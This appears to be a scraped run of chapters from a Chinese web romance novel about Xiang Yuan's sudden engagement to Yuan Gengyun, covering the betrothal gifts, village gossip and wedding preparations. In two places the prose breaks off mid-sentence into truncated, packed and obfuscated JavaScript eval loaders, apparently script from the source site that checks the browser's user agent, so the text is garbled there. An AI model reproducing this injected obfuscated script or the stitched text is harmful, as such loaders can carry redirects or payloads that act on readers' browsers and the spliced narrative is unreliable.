在那院,梅丛殊到底还是打了原耕耘一拳头,原耕耘没还手,嘴角却有青痕。 向园替他委屈,却不能怨表哥下手重,只能怪自己。她怕表哥继续误会下去。 梅丛殊也晓得是自己莽撞了,张了张嘴,讷讷道:“我知道,我知道他是好人,待你也好,所以才问你愿不愿意。” 愿意吗? 向园想起前天,如果换一个人在她面前解腰带,只怕她早把人踹下山了,可那个人是耕耘哥哥的话,她也只会觉得他不见外,不会觉得他不是好人。 她是愿意的吧,再没有比耕耘哥哥更让她觉得安心的人了,甚至表哥,很多时候都不如耕耘哥哥靠谱。 如果嫁给耕耘哥哥,那她以后可以跟他一起上山,一起吃饭,一起养一二三,一起喂鸡鸭鹅崽儿,他们还可以一起赶圩,一起干活,一起说笑,他们会永远在一起,一直在一起…… 他再拉她,就不用借腰带或是棍子了,也不用托她的胳膊肘了,他们可以手牵手,走难走的路。 “我愿意。”向园小鸡啄米般点头。 梅丛殊看着有几分心焦。 表妹愿意是真,表妹不懂也是真,就连黄家那个女孩儿,看原耕耘一眼都知道脸红,可妹妹说起嫁给原耕耘,就只有高兴,脸上看不出一丁点害羞,不知道这算不算好事。 他叹了口气,坚决不让他们再送,单独拉了原耕耘同他出门。 让阿得赶骡车先行一步,梅丛殊跟原耕耘并排走在石板桥上。 “九郎,也不知咱俩谁大,我就托大这样喊你了。今天伤你,是我冲动了,表妹刚刚还在怪我,说多亏你们善意待她,我不该胡乱猜疑,实在抱歉。” 梅丛殊混不吝的,少有这样正经的时候,他也不太会道歉,说出话来,显得很干巴。 可他弯腰行礼的动作做不了假,原耕耘不等他弯下去就扶住他,“言重了,你因向园打我,我不怪你。” 毕竟,他也不是问心无愧的。 他只是去晚了一步,稍微去早点,说不定真会把她偷走,不管她愿不愿意。 面对真心爱护向园的人,原耕耘很直白,“你把她当成你的责任,我也一样。我们从小就认识,只是她记事晚,我因我家里的事,那几年一直不能过来,她走的时候,已经忘了我,可我不能忘,从我爹娘和向家叔婶说让她给我做媳妇儿的时候起,我就认定她是我此生唯一的妻。她不愿意,我可以等,等到她愿意的那一天。 “但是,表哥,我不会看着她嫁给除我以外的任何人,没有人会比我更珍惜她。” 梅丛殊眨眨眼,看见原耕耘眼里的敌意。 “呵!”他轻笑出声,“那就来提亲吧!我这段时日都在槐树井,你定好日子跟我说,我过来坐中堂。” “一切从简,越快越好。”他拍着原耕耘的肩膀补充。 如果他爹知道自己被戏弄了,以他的心性,可不会就此偃旗息鼓,只怕还要动歪心思。梅丛殊希望向园的终身大事尽快有个定论。 原耕耘瞳孔微缩,呼吸都放轻了。 “明天,”他听见自己绷紧的声音,凭直觉把这句话补充完整,“明天我上门提亲、下聘、请期。” “哈哈哈……哈哈……”梅丛殊朗笑出声,“好!我明天一早过来。” 他去给奶奶上坟,也能有个交代了。 过了石板桥,就是村路,阿得就在路口的柳树下等。 原耕耘目送骡车转过拐角,如风般转身,别人要走三步的路被他一脚跨过,不过几息,就到了向家门口。 “娘!敬叔!”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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湿润的指尖,湿润的脸庞,湿润的眼眶,仿佛下了一场下雨,雨丝搔得人心尖痒痒……他想把她吃掉,从舔舐眼泪开始,一点一点把她拆吃入腹。 在幽暗的深谷,在涓涓的溪流,覆盖,笼罩,像挺拔的青松扎根属于他的领地,所有来自她的,归向她的,都要吃掉。 他指尖滚烫,脸庞滚烫,眼眶也滚烫,像是着了一把火,烧得他无力喘息,他想把她揉碎丰盈自己,也想把自己撕碎填补她。 或许某一刻,他们能共同回归圆满,水火交融,就是一个完整的宇宙,只属于他们的、独立的宇宙。 “欸……”鼻尖盈满来自于她的温热的香气,他压在她鬓侧喟叹,“向园,你要说,我愿意。” 向园哽咽,“我、我本来、就、就说的、我愿意。” 原耕耘只听见最后三个字,他睁大眼睛,呼吸都屏住了。 “真的?” 他问得很轻,仿佛害怕惊飞停驻在她螺髻上的蝴蝶。 向园点头,羞恼又委屈,他怎么能这样?她才夸他好,他就变坏了。 原耕耘眼尾的红逐渐褪去,他从胸前掏出鱼哨,塞到向园手里,“下晌我和娘、敬叔有事要出去一趟,你拴好门,把这个洗干净,明天我来的时候再给我,好不好?” 声音很温柔,刚刚那些滚烫的、暴烈的、不安的情愫都被他押回未知的角落,蛰伏起来,仿佛从未出现过。 向园摊开掌心,看到樊姨说的那对漂亮的鱼哨,她点头,“好!” 她看原耕耘的眼神,依赖又绵软,像是连了根线似的,牵着原耕耘的目光。 原耕耘则相反,看向园的眼神,强硬又霸道,像是松针,他把尖的一头对准自己,把根深扎进她的眼眸,让她贴近他,让她刺伤他,让她心痛他。 19. 第 19 章 梅丛殊的要求是,一切从简,越快越好! 原耕耘的诉求是,越快越好,在有限的时间内尽可能郑重! 所以他跟向园说完话之后,不仅跟樊云英和谷敬商量,还马上请了周二仓和杨可真帮忙。 杨可真满脸惊讶,跟周二仓感叹:“九郎可真行,咱刚说他们这事儿有得磨,这才多大会儿工夫啊,他就搞定大舅子了?” 周二仓也觉得匪夷所思,“岂止搞定大舅子,你没听他说,要把下聘、请期的礼品也一道办齐,我看要不是来不及,他恨不得把迎亲拜堂的东西都置办了,只怕要不了几天咱们就要喝喜酒啦。” “这可真够快的!”周满仓凑热闹,又不高兴,“我就说向娘子当得了家,今个儿问她要狗还跟我推三阻四的,二哥、嫂子,你们说她是不是不想给我?” 杨可真翻个白眼,周二仓毫不留情,“不想给你有什么奇怪的?你自己就够狗了,还养什么狗?” 周满仓:“……” 算了,以后见面还要喊声嫂子,总归是他没理,他可不能记恨人家。 他开始幸灾乐祸,“这下那黄二安不嘚瑟了吧,瞧他那样,想招上门女婿还端大舅架子,真不好看!” 周二仓拍他一巴掌,“可闭嘴吧你,祸从口出知道不?” “他好不好是他的事,不兴咱们说。”杨可真递给他个甜枣,顺毛捋。 “好,明白了!知道了!”周满仓敷衍点头,很快又为去城里置办东西兴奋起来。 樊云英和谷敬是长辈,原耕耘请他们帮忙找媒婆,找先生写婚约,算婚期。 至于八字,他没打算合。天王老子来了,他俩也得是天作之合。 原耕耘交代好这些后,又去里正家里,一来婚事要请里正出面做个见证,二来要置办的东西多,得去他家借骡车。 里正没有二话,知晓他们的婚事还很高兴,多交代两句,让他牵着骡车走了。 原耕耘拉上野山羊,叫上周二仓三人,一同往县城去置办聘礼。 他爹给他娘留下一些首饰,他娘改嫁的时候,一件也没带走。原耕耘知晓她的心志,是不想带着头婚家的东西去贴补二婚。 可他不这样想,且不说他爹亏了他娘多少,只说他娘嫁他爹一场,又生他养他,便是把他爹留下的东西都带走也不过分。 所以他把分家分得的二三十亩地和一座小屋贱卖了,给他娘置办嫁妆。 那几年原大精得很,地自然不是好地,但是量多,又连成一片,也卖得五六十两银子。 他又添了些,在白石滩谷家附近买了几亩好田,都记在他娘名下,算是她的嫁妆。此外,他还置办了些布匹首饰和二十两银子,算是给她的箱笼。 自此,钱也算花光了,如今他手里只剩下去冬积攒下来的银子。 留出十两做聘银,再留几两给向园置办东西,回头带她看大夫也要留出一点。剩下可以支配的大概就是十两银子。把野山羊卖了,估计能多出来一两。 原耕耘心里有了数,找相熟的屠户卖了羊,提腿往各家铺子跑。 到底富贵过,记性也好,所以什么东西什么价他心里都有底儿,大差不差总能说到卖家心坎上,再低一分人家就不舍得卖了。 他今儿高兴,买东西砍价也很有劲儿,连跑好些家都不觉得累,带得搬东西的周满仓也情绪高昂起来。 向园在家里,端把小凳子坐在芭蕉树下,掬着水冲洗鱼哨。水是原耕耘提过来的。这井刚淘过,得等它渗满水后看看水质好才能用。 她把手高高扬起,水砸在鱼哨上,就能把上面板结的淤泥冲洗干净。 开始的时候最好清洗,一捧水下去就能砸掉好多淤泥,随着淤泥减少,清洗也越来越不容易,一捧水下去,能砸掉一星半点的泥土就是好的。 向园找了几根纤维粗硬的草叶,扭起来结成一股,塞进孔洞里投淤泥。 越洗,淤泥越少,到现在只剩下有弧度和死角的一些部位还脏着。 向园去拿无患子。 原耕耘说话算话,说要送她两筐,前天回来就搬来了,两大筐,比向园想的背篓还要大的筐,够她用一整年了。 她还是节省,只拿了两颗,撕下果皮搓泡泡,搓着搓着,倒搓出意趣来,双手摆弄着两只小鱼,来回揉捏。 等鱼哨彻底干净了,她手背也泡得皱巴巴的。 外头还没动静,向园跑去露台上张望。 太阳落山之时,原耕耘一行人终于回来。除了借的骡车,还有一辆骡车,是谷敬那辆。 他们在村口遇上,就一块回来。明天要给原耕耘提亲,谷敬和樊云英今天就不走了。 向园看见车上红彤彤一片,反倒不敢下去了。 一下午她都在想,为什么耕耘哥哥说明天来,还定时定点说是在巳初,要自己把小鱼给他。 现在看,可能是他听了表哥的话,明天要来提亲? 她站在楼上跟他们招招手,樊云英也高兴,挥着手回应,“园园,我们今天不过去了,你早些吃饭歇息,明天我们再来啊。” “好。”向园应了一声,又跟他们摆摆手,进屋去了。 还想着能说句话的原耕耘:“……” 算了,还是卸车吧。 第二日就是初七,梅丛殊来得很早,卯中就到了。 他不仅自己来了,还把当初阿得拉去槐树井的东西,一并带来了,包括两只鸭和两只鹅。 据他所说,向园不在的这几天,都是隔壁阿文在喂,林阿婆虽然念叨几句,到底心中怜惜她,没说太难听的话。 梅丛殊还买了两块尺头,一块青的,一块蓝的,都是夏葛布,让向园给原耕耘做鞋做腰带,要是有功夫,最好再做两身衣裳,过段日子正好能穿。 梅丛殊问过林阿婆,男方来下聘和提亲,女方同意这门亲事,要回赠鞋袜、腰带,意为同携到老,约束女婿。 他觉得别的能省,这个不能省,就是今天不及做,慢慢总要做出来,应了这个好意头。 时间紧,梅丛殊没来得及置办嫁妆,不过他问过村里的几个婶子阿婆,知晓要准备些什么。单子已经列好,只等今天忙完,他就有空对着单子张罗。 向园不要,“表哥,我有钱。” 相反,没钱的是表哥才对。 虽然他们一样攒钱,但表哥爱花钱,爱给她们带些流行的花哨玩意儿,还爱给她们买稀罕的吃食,自己也喜欢闯荡,做生意做着做着就把本钱折进去了。 向园不要让他为这个伤脑筋。 “你不用操心!你喂那么多鸡鸭鹅,能说给人就给人了?哥帮你卖了,用这个钱给你置办嫁妆。” 还有粮食,还有家用物件,他爹他娘从梅家小院拉走 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向园就乖乖去翻荷包,碎银是五两二钱,铜板她串好了,是一百二十枚。 梅丛殊捏了二钱碎银,“好了,这个就足够给你置办嫁妆了,那五两收好,是你的压箱钱,这一百二十枚,你回头找根红绳重新串一下,一串串十枚,串十二串,到时候放箱子里,你一年十二个月都有钱花。” 向园觉得很有道理,乖乖点头,又问他,“你跟外婆说了没,我找了个好相公。” 梅丛殊觉得她没救,“他还不是你相公呢,说什么好相公!我跟奶奶说了,我给你找了个好人家,她会保佑你的。” 向园双手合十拜拜,“不用保佑我,只是告诉他们,安心去投个好胎,别挂念我。” 这傻样!梅丛殊笑着应是。 还不到辰时,向园简单做了饭,和梅丛殊、阿得吃了点,就去串钱。 提亲这事儿来得过于突然,她慌了手脚,都不知道该做什么,只能捡能看得见的活儿做两下。 眼下最关紧的两件就是给耕耘哥哥做鞋袜、腰带和串铜钱。 但表哥不让她做鞋袜,说是不能惯着,就是给原耕耘做什么,也要慢悠悠的来,让他着急,让他求她做,她再给他做。 向园不觉得耕耘哥哥是会求人的人,不过她以后悄悄做好了,他要是求她,她就拿给他,他一定觉得惊喜。 他要是不求她也不惊喜,她以后就不给他做了,让他自己去大街上买。 向园串铜钱也有意思。 家里找不到红绳,她就从梅丛殊带来的蓝色葛布上裁了几道边角出来。 她边串边念叨,“一二三四五六七八九十,这是一月的,一月是梅花。” 念叨着,勾扯着蓝绳尾巴堆出一朵梅花。 蓝绳还有一截儿,她又堆了一朵,两朵并蒂,只是绳尾巴短到几乎看不见。 裁二月的时候,她就有经验了,多留了一段,勾的是杏花。 三月桃花,四月牡丹,五月榴花,六月芙蕖,七月茉莉,八月桂花,九月菊花,十月芙蓉,十一月山茶,十二月水仙。 梅丛殊看得有趣,看来这钱她是真不舍得花了,早知道给她买一把彩绳来了。如今花是挺好看,就是颜色不衬。 阿得也觉得厉害,目不转睛地看。 20. 第 20 章 辰时中,杨可真来了。 她和周二仓、周满仓一起的,周二仓、周满仓去了隔壁,她直接就到这边来。 向家人少,她过来看看有没有需要帮忙的。 桥那边的村路上,不少人都在看热闹。 昨天原家几个又是租车,又是请人地来回折腾,傍晚回来还拉了那么多挂红的东西,就有不少人好奇。 好奇就问,相熟的直接问原耕耘、樊云英,生疏的就问周家兄弟和杨可真。 订婚是高兴的事,没什么不好说的,谁来问他们都喜气洋洋的,说原九跟向大夫家的小娘子定亲了,今天原耕耘上门提亲下聘,欢迎他们过来凑热闹。 至于什么时候说定的婚事,当然早些年就说好的,这几年耽搁了,如今孩子们长大,到了谈婚论嫁的年纪,正好给他们张罗。 村人纷纷道喜。 也有几家傻眼的,黄家就是其中一家。 黄穗宁站在墙内,喃喃自语:“怎么会?” 黄父一脸恼怒,黄穗安无措,黄母着急宽慰女儿,“穗宁,三宝儿,不值当伤心啊,这都怨你哥,回头娘给你找更好的。” 黄家大嫂苗秋枳轻笑一声,端着食盆儿喂猪去了。 黄母横眼睛,“老大,大平,瞧瞧你媳妇儿,这是给谁脸子看呢,我们三宝儿不好,她就能好了?竟有这样狠毒的嫂子,不盼着小姑子好,在这儿幸灾乐祸的!” 黄穗平走出屋来,横眉冷目,声音却淡淡的,“回屋去,别在这儿碍娘的眼!” 苗秋枳丢下盆子,回屋躺着去了。 黄穗平拾起她掀翻的盆儿,把散出来的猪食儿搓进去,端着去喂猪。 黄母一口气憋到心口处,上不来也下不去,黄穗安扶她坐下,“穗宁,给娘拍拍背。” 黄穗宁没反应,黄穗安又叫她一声,她才回过神来,站到黄母身后,手顺着她的背轻轻往下捋,“二哥,我不惦记,我总能寻着更好的。可园姑姑多好,我还想着她能给我当嫂子呢。” 黄穗安恨不得捂住她的嘴,“你瞎说什么?没听人说,那是从小定下的婚事,那向娘子跟我又有什么关系,两家还差着辈分呢。” 见妹妹垂下头,他又有些不忍,“我早该想到的,九郎不是热心的人,他肯做主请人过去帮忙,那一定把向娘子当自己人了。这事儿,是二哥想岔了,二哥昨个儿不该带你去,你也别再提,娘会给你寻摸更好的婚事。” 黄母缓过气来,“哼”了一声道:“总算你二哥说句人话,我们三宝儿这样俊俏,这样乖巧,就该寻个好人家享福。那原九原先看他还行,如今看,也不过傻子一个,真嫁了他,还要你忙里忙外地跟着操持,不得安闲。闺女啊,咱不惦记他,咱找个比他好千百倍的。” 黄穗宁垂下眼眸,“嗯,娘,我知道的。” 所以,家家都有过去蒲家塘看热闹的人,唯独黄家篱笆门紧闭,没一个人出门。 黄穗安几次踏出屋门,都被东间的黄母发现,她隔着一道窗子,厉声问:“老二,你干什么去?” 黄穗安掂掂脚,正要转身,身后传来黄穗平的声音:“娘,不是老二,是我!我喊老二打猪草。” “你们去打什么猪草?你媳妇儿死了还是瘫了,猪草都打不得?”黄母恨生生的,光听音,就能听出咬牙切齿来。 “她身子不舒坦,起不来床,晌午你跟穗宁做饭吧。”黄穗平冷下心肠,又扬声朝西边屋子喊,“老二,别躺了,起来跟我打猪草去!” 黄穗安:“……哎,来了。” 兄弟俩往门口走,身后传来黄母的谩骂,“我真是娶了个好儿媳,还要等着婆婆和小姑子伺候,她怎么不死在她们苗家呢!什么懒种憨货,还指望婆婆姑子伺候她!我做饭!我做饭她就饿着吧,你俩也别回来吃了,你们都刚强,有本事,就别吃老娘的饭……” 黄穗安脚步顿了顿,黄穗平不为所动,拽着他袖子出了门。 “老二,原九今天订亲你都不去,你以后还怎么跟着他打猎?”黄穗平搭着弟弟的肩膀,“你不小了,马上老四也长大成人,你猜娘先给你说媳妇儿还是先给老四说?” 什么东西,但凡进了这个门,就是三宝儿和金宝儿的,别人摸都不能摸一下。 弟弟带回来的猎物如此、包子如此、竹鼠亦是如此。两只竹鼠炖四碗汤,只有爹娘和三宝四宝的份,他们一人得一碗清汤寡水的笋子,就是天大的恩赏了。哪怕他们别做得这样难看,把竹笋炖汤里给他们尝个味儿呢? 这就是他们满心孝敬的爹娘。 黄穗平卸下弟弟的背篓,推他往蒲家塘去,“快去吧,二仓、满仓他们一早就过去了,爹娘指望不上,我跟你嫂子也帮不上你,你自己争气吧,攒着钱,娶个媳妇儿,也替你大嫂分担分担。” 黄穗安默然点头,“哥,我知道了。” 他到的时候,谷敬和樊云英正兴高采烈地给大家分欢喜团。 欢喜团就是麦芽糖块,不大,也就跟花生粒差不多,他们昨个儿买了两大包,一包让杨可真捎去向园那边,一包留着待客。 乡下也没别的好东西,干枣、柿饼、花生、瓜子都算寻常,自家种的,晒晒,好不好吃都是个意思,闲磕起来,说起话也热闹。 能拿欢喜团待客,那就算大方了,大家甜甜嘴,跟着说几句喜庆话。 黄穗安来得不早,他跟原耕耘走得近,跟着打猎,不是没人眼红的。 大山里,没人带着,寸步难行,原耕耘自己蹚出来的路,他们一说,就愿意带他们,好些人后知后觉,再想凑上去的时候,人都够了。 原耕耘不想带太多人。山里危险,有人结伴很好,但是人太多也不是好事。 他应下周家兄弟,大家都以为是周家兄弟跟他交好,其实不是,他找伴儿,肯定要找有本事的,再不济,要有胆量不莽撞。 周二仓憨直,周满仓纯澈,黄穗安沉稳,这是他们表现出来的脾性,但真遇到猎物,他们一个比一个有冲劲,又知进退,有些东西不是他们能招惹的,他们就不贪心,逃跑也能跟得上队。 这些大家都不知道,好些人说酸话,“二安,掉茅坑里了?你再晚一会儿,都能赶上吃晌午饭了。” 原耕耘替他解围,“就算我让你喊我叔叔,你也不用吓成这样啊!还是昨天淘井累着了,能行不,我还指望你给我挑担子呢。” 聘礼的担子需要有人抬,有人挑。 “行!怎么不行!放心,稳当着呢!”黄穗安拍着胸脯道。 向园这里也有客人,没有原家院子里人多,但很多受过向家恩惠又念旧情的都会过来看看。 多是阿婆和婶子带着年轻媳妇儿或闺女,大家心里都有数,知道她家只她一个小娘子,男子都不往这边来,过来的几个,都是老人家,胡子都花白了。 梅丛殊招呼他们吃糖喝茶,向园和杨可真在灶上蒸山药。 山药好蒸,蒸个一两刻钟就熟了,她们端出来请老人家吃。这不是办喜事儿要吃的东西,没这规矩,可他们心里都软和,觉得向家丫头心思细,又体贴。 老人家牙口不好,糖是难得的好物,他们吃了甜嘴,却损牙,嘴里半天都过不去味儿,初时尝的甜后来就成了腻味,但又不能多喝茶,喝多了走觉。 这山药就很好,对身体好,绵软好克化,也对他们的口味。 叙过旧,吃过山药,时辰就差不多了,原耕耘他们一会儿就要过来,杨可真同向园一起去楼上待着。 外面发生了什么向园都不知道,她跟杨可真在屋里聊闲话。 她虽待客周到,人却认不全,杨可真一一跟她讲。 “胡子最长那个是陆家太叔公,他是咱们村辈分最长的一个。” 向园回忆着,陆太叔公跟她太爷爷是光屁股玩到大的伙伴,两人要好的很,幼时很多年都在一个锅里吃饭,一床铺盖睡觉,今天你上我家吃,明天我上你家住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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向园点头,耕耘哥哥长得俊,他自己也看不见,可她却能日日看在眼里,她确实有福。 杨可真没忍住笑出声,“他长得俊没错,你俏丽也不输他,他比你还有福。” 向园又点头,她只听人家说她长得漂亮,自己却瞧不见,只从水面上照过两眼,确实还算好看。 那耕耘哥哥也有福,一点没错。 两人猫儿似的,叠着脑袋看了半晌,直到人都进屋去,她们才收回视线。 原耕耘的聘礼很有诚意。 一对大白鹅,寓意成双成对。时间紧,原耕耘来不及伏击射雁,就买了鹅代替。 两盒茶叶,两坛酒,两斗米,两斗面,两条肉,两条鱼,这是六样礼。蓼县这块,成亲定亲基本都是这些路数。 有的会把米或者面、鱼或者肉的某一样替换成四色糕点,喊做糕饼或者喜饼。 原耕耘没换,买了两盒糕饼添进去,这是七样,还得再加一样,凑成八样。 他加了两包盐,以示姻缘已定,此心不移。 另有两匹染色花布,两个小匣,这是单独给向园的。 再就是聘金,红纸包的两封,一包六两,共十二两。 一辈子只成一次亲,原耕耘置办完聘礼后,留下成亲当日要花用的,能多挤出二两来,就添到聘金里了。 这些不用怎么看,原耕耘置办得好,给妹妹抬脸面,梅丛殊感激他。他置办得不好,只要他肯对妹妹好,梅丛殊也不挑剔他。 他在看请期书,大红纸上三个日子,三月初十,三月十八,三月廿一,是这个月最近的三个宜嫁娶的日子。 初九也是好日子,但初九是奶奶四七,避开以免冲撞。 他们考虑得很周到,梅丛殊没有什么说的,直接定下初十这日。 就在三天后,很快了。 21. 第 21 章 向园没有可操心的,她想抽空去把后院的地刨出来,梅丛殊不让,自己拎着锄头过去了。 “我先刨着,刨多少算多少,剩下的让你好相公来。” 向园紧紧跟着,表哥不会做农活,论起偷奸耍滑他比谁都擅长,可要论干农活,表哥连她都不如。 而且表哥累瘦了,向园可舍不得再让他操劳。 果然梅丛殊一锄头下去,差点儿锛到脚。他不逞能了,把锄头递给向园。看一会儿,他又觉得自己行了,再把锄头夺回来。 这样一夺一让的,一早上,两人也就开出来半分不到的地。 向园去煮饭,梅丛殊摆摆手,“煮你自己的,我去趟十里滩,你成亲,咱们家不能连个送亲的人都没。” 这一大晌他都在琢磨这个事儿呢。 他不吭声就把表妹嫁出去,表妹以后连个能来往的亲戚都没有,这不是好事儿。 他去舅爷家探探口风,如果舅爷偏向他爹,他就不提这回事。如果舅爷向着表妹,他就请他来坐镇。 梅丛殊刚走,樊云英觑着空过来了。 她一个人来的,谷敬被她支走采买明天要用的肉菜。原耕耘也上山了,他准备多打些猎物,能打着大东西自然好,打不着大的,多打些山鸡野兔,宴席一桌上一只,看着也丰盛些。 樊云英来给向园送东西,她抖开大红包袱皮,露出里边叠得整整齐齐的大红喜服来,“你来试试,看看哪里不合身现在就改了。” 向园乖乖换上,没有不合身,樊云英比着她的尺寸做的,哪里都妥贴。 樊云英前后看看,满意地点点头,“真漂亮。” 她给向园整整衣角,“到正日子,你晨起穿的时候把这里折一下,窝进腰带里,就不会绊着脚了。等到坐的时候再放开,垂下来刚好能遮住膝盖和脚,露出纹路来,漂亮极了。” 裙子是百褶裙,用的是以前留的好料子,樊云英在上头绣了花纹。 裙摆绣的是大吉葫芦纹和瓜瓞绵绵纹,站起来瓜瓞绵绵纹就藏进褶子里,只露出大吉葫芦纹。坐下来,两种纹样就都露出来了。 真好看!向园爱惜地抚摸。 这裙子做出来,恐怕樊姨要熬好几个通宵。 她眨着清凌凌的眼望过去。 樊云英摸摸她的脑袋,“你喜欢就好,你樊姨就是做这个的,不费工夫。” 时间宽裕有时间宽裕的绣法,时间紧有时间紧的绣法。 两个孩子,一个是她亲生的,一个她看成是亲生的,做这些针线的时候,她满心满眼都是欢喜,一点不觉得累。 “樊姨,我会跟耕耘哥哥一起,好好孝顺你。”向园换上家常衣服,挽着樊云英的胳膊,说得很认真。 这在樊云英看来,跟撒娇似的,她噗嗤一笑,“好好好!我等着你俩孝顺。” “这个是耕耘他爹留给他的,你收着,以后就是你俩的了。” “是什么?”向园看是个活扣,指头一按,盒盖就弹开了。 “哇!”她小小地惊呼了一下,然后就合上盖子推回去,“樊姨,这个耕耘哥哥不要,我也不要,这是你的,你该自己留着。” 向园只是不通世故,不是笨。 她一想就明白,如果耕耘哥哥肯收的话,樊姨也不会拿来让她收着了。 这肯定是原伯伯留给樊姨的钱,他们不能要。 向园坚定地拒绝,虽然她从来没见过这么多钱,确实很稀罕。 “园园,别犯傻,你俩还得过日子呢,这确实是你原伯伯留给你俩的。姨母日子过得很好,再说,我还有你谷叔呢,可用不着这个。” 这东西樊云英一开始都没发现,还是出嫁后收拾箱笼的时候扒出来的,她这才晓得儿子给她藏了压箱底钱。 “我和耕耘哥哥也用不上,我们也能过好日子的。” 向园很有信心,耕耘哥哥打猎,她采药,耕耘哥哥种田种地,她养鸡鸭鹅,两个人都很能干,一定会越过越好。 樊云英噗嗤一乐,拧了拧她的鼻尖,“瞧把你俩能的。” 她放低声音道:“我跟你说,你得收着,不然你原伯伯不高兴,你谷叔也不高兴。你想啊,哪个男人愿意让自己媳妇儿带着前头男人的东西跟他成亲呢?这些东西他不知道,我都没处搁。你不是说了,你俩会孝敬我?我有你俩孝敬,可用不上这些。” 向园皱起眉头,“谷叔要是因此不高兴,那就太不应该了。樊姨,你不要把这当成是原伯伯给你的,原伯伯是耕耘哥哥的爹,原伯伯的就是耕耘哥哥的,那他给你的跟耕耘哥哥给你的有什么两样?你拿着,我们也孝敬你啊,我们孝敬你,要凭我们自己的本事孝敬,用不着这个。” 她小手挥着,瞧着还挺霸气,樊云英哭笑不得,点着她的脑袋道:“你们俩啊,真是呆到一块去了。” “那这个你可得收好啊。”她又拿起另一个盒子递过去,生怕向园打开,手按在盒盖上。 “现在不能打开,我跟你说,这个是让你们学习生宝宝的东西。等晚上,你一个人的时候,悄悄打开看……看不懂也没关系,先放着,等明天晚上见到你耕耘哥哥,让他学,他学会了,会教你的。” 婚事定下,婚期将近,两人这几天都不能碰面。 向园点头,她想着既然耕耘哥哥也要学,那她就不学了,等后天他们成亲,两个人再一起学。 樊云英看她一无所知的样子,很是操心,“一定放严实了,不能给人看见啊。” 她有点后悔没在这上头加把锁。 向园点头,说不看就真的不看。 等梅丛殊把韩家人请来,把她嫁妆拉回来的时候,向园也没看,只是记得樊姨的叮嘱,把盒子放在枕头下,遮得严严实实的。 韩舅爷到底也没来,不是因为偏向梅大舅,而是因为伤心,听了梅丛殊的话,他对梅大用这个外甥,是又失望又失落。 他们去奔丧的时候,梅家小院已经有几分空荡,他还以为是梅大用要把外甥女儿接到城里去,没曾想竟是这样…… 他自己没心劲儿参加喜宴,舅奶奶身体不好,也没过来。两人指派大儿子大儿媳过来帮忙,带着大孙子、大孙媳妇儿和小孙子、小孙女儿一起。 向园的大表舅叫韩大山,表舅母姓杨,就是杨可真的姑母。 大表哥叫韩进,大表嫂叫吕青。小表弟和小表妹是二舅母家的,小表弟十三岁,叫韩闰,小表妹十岁,叫韩冉。 这是念着向园这里冷清,让孩子们过来,热闹一点。 向园还有二表哥、三表哥和四表哥,他俩半大不小,都还未成家,昨天跟着二表舅进山还没回来。 韩家一家都是猎 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要不是顾忌着大用两口子都长了一颗钱串子脑袋,她早就上门问信儿去了。就是没问信儿,自打嫁去梅家的姑奶奶过世,她这段时日在家里也不安生呢,见天磨着老爷子,让他去跟大用说。 梅大用没一点礼节,老爷子怎么会去他跟前儿服软?这事儿拖着拖着,没成想园丫头就寻摸好人家了。 老二媳妇儿气的呀,得亏老二带着二郎几个上山去了,还没收到信儿,不然只怕二房那头还有得闹。 . 晚间,杨可真没走,留在这儿陪向园。 大舅母带着大表嫂和小表妹住外间,她俩在内间。 向园一摸枕头,才想起樊姨给的匣子还没放进箱子里。 但这又是不能让人发现的东西,向园藏到怀里,试图悄悄转移。 杨可真好奇,“园园,你拿的什么?这么宝贝。” 向园心虚,面上还算稳当,含糊道:“是一些书。” 既然能学习,就算不是书,跟书也差不离。 她白天怀疑过,里头是不是跟他们家认穴位的小木人差不多的东西。 男人和女人不一样,他们要相互观摩学习,了解对方的身体,才能生出孩子。 “书?”杨可真依旧好奇,“是不是医书?” 她希望向园多多用功,早日成为女神医,他们绿蒲村的人就又可以心安几十年了。 “差不多吧!”向园煞有介事地点头。 认穴位要学习,生孩子也要学习,就算里头真是两个小木人,那也是让他们学习用的。四舍五入,跟医书也没什么差别,无非就是比医书直白点,不用翻页而已。 一定是这样! 怕杨可真再问,她赶忙道:“我要放到箱子里,带到九哥家去。” 杨可真连忙点头,“要带要带!园园,你好好学,这可是很要紧的,你学好了,不仅对自己有用,对我们也有用!” 她甚至想请向园教教她,但医术向来都是不传之秘,她想想还是作罢。 向园:“……” 杨姐姐不用看都知道里头是什么,真厉害! 她认真点头,那就学吧,学好了不仅可以自己用,还可以帮助别人,这也是积德的事。 22. 第 22 章 周二仓今晚也没回,他在隔壁陪原耕耘。 原耕耘不需要他陪,但是他坚持,原耕耘只好给他搭了一张床板让他睡。 周二仓:“……” 瞅原耕耘那小气劲儿,他都洗过澡了。 这可不是原耕耘小气,这是他一小住大的床,可以说,除了他和向园,就没谁在这张床上睡过,连他爹和他娘都没。 他明天就要把向园娶回来,更不可能让任何人沾这床一下。 不沾就不沾,反正床板铺得也软和,周二仓想起和媳妇儿商量好的事儿,面上不由带了几分尴尬。 这要怎么开口呢? 直接说“九郎,你懂不懂怎么洞房”,好像有点瞧不起人。 说“九郎,我跟你说点事儿”,好像又过于严肃了。 早知道让媳妇儿跟向娘子讲好了,这种事,女人之间总比男人之间好说一些。 他愁眉苦脸的,原耕耘发现了,问:“你想说什么?” 周二仓一骨碌翻身坐起,“咳,九郎,那个你会吧?” 他挤眉弄眼的,原耕耘一下子就明白他问的什么,神色纠结起来。 我看着就那样傻? 他不语,周二仓怀疑他不会,一拍脑袋,“早知道应该去买个嫁妆画或压箱底儿的。” 这话脱口而出,周二仓自己都觉得不大对……嫁妆画和压箱底儿,也不是原耕耘该准备的东西啊。 他要是准备了,那他是娶的还是嫁的? 可是向娘子那边也应该没人懂这个,梅家那表哥自己都光棍一个,肯定想不起来,想起来也不好置办。 难不成自己这好兄弟明晚真要干瞪眼等到天明? 周二仓觉得不行。 洞房花烛夜,就没男人不期待的。洞房花烛夜没有表现好,就没男人不遗憾的,万一表现差劲儿,以后对着媳妇儿都气弱,挺不起腰杆。 